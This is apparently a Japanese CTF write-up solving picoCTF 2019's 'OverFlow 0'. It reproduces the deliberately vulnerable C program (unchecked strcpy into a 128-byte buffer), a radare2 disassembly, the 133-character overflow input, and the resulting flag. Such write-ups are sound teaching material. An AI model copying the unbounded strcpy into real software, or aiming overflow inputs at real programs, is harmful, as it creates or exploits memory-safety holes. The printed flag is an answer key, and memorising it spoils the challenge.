picoCTF2019 OverFlow 0 [Binary Exploitation]
This should be easy. Overflow the correct buffer in this program and get a flag. Its also found in /problems/overflow-0_0_6d0c88d7d40bc281760b515cb6a4660a on the shell server. Source.
(適当な訳)これはとても簡単です。このプログラムで適切なバッファーをオーバーフローさせるとフラグをゲットできます。
Hints: Find a way to trigger the flag to print / If you try to do the math by hand, maybe try and add a few more characters. Sometimes there are things you aren't expecting.
(適当な訳)フラグを表示するトリガーを見つけましょう / もし手で計算を試みるなら、少し文字を追加してみましょう。予期しないことが起こるかもしれません。
指定されたシェルで確認すると、ソースコードと実行ファイル、flag.txtが確認できます。当然flag.txtはそのままでは見れません。
$ ls
flag.txt vuln vuln.c
ソースコードが与えられているので、まずは中を確認します。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}
void vuln(char *input){
char buf[128];
strcpy(buf, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler);
gid_t gid = getegid();
setresgid(gid, gid, gid);
if (argc > 1) {
vuln(argv[1]);
printf("You entered: %s", argv[1]);
}
else
printf("Please enter an argument next time\n");
return 0;
}
vuln関数内のstrcpyで入力される文字数を制限していないので、バッファーフローさせればいいことがわかります。適当な長い文字列を渡せばフラグが表示されます。
もう少し詳しく見てみましょう。main関数内のsingal関数でSIGSEGV(記憶域への不正なアクセス)があった場合にシグナルハンドラ関数(sigsegv_handler)を実行するようにしています。sigsegv_handler関数ではstderrとしてフラグの値を表示するようになっているため、オーバーフローするとフラグが表示されるということになります。
渡す文字列は何文字必要でしょうか。buf[128]とあるので128文字より多ければいいかと思いますが、128文字ではフラグは出てきません。radare2でvulnをdisassemblyした結果を見ると、
49: sym.vuln (char *src);$
; var char *dest @ ebp-0x88$
; var int32_t var_4h @ ebp-0x4$
; arg char *src @ ebp+0x8$
0x08048698 push ebp$
0x08048699 mov ebp, esp$
0x0804869b push ebx$
0x0804869c sub esp, 0x84$
0x080486a2 call __x86.get_pc_thunk.ax ; sym.__x86.get_pc_thunk.ax$
0x080486a7 add eax, 0x1959$
0x080486ac sub esp, 8$
0x080486af push dword [src] ; const char *src$
0x080486b2 lea edx, [dest]$
0x080486b8 push edx ; char *dest
となっており、0x84 = 132文字より多くの文字数を渡すとオーバーフローすることがわかります。ということで、133文字を生成して実行するとフラグゲットです。
$ ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{3asY_P3a5y0a131490}
答え:picoCTF{3asY_P3a5y0a131490}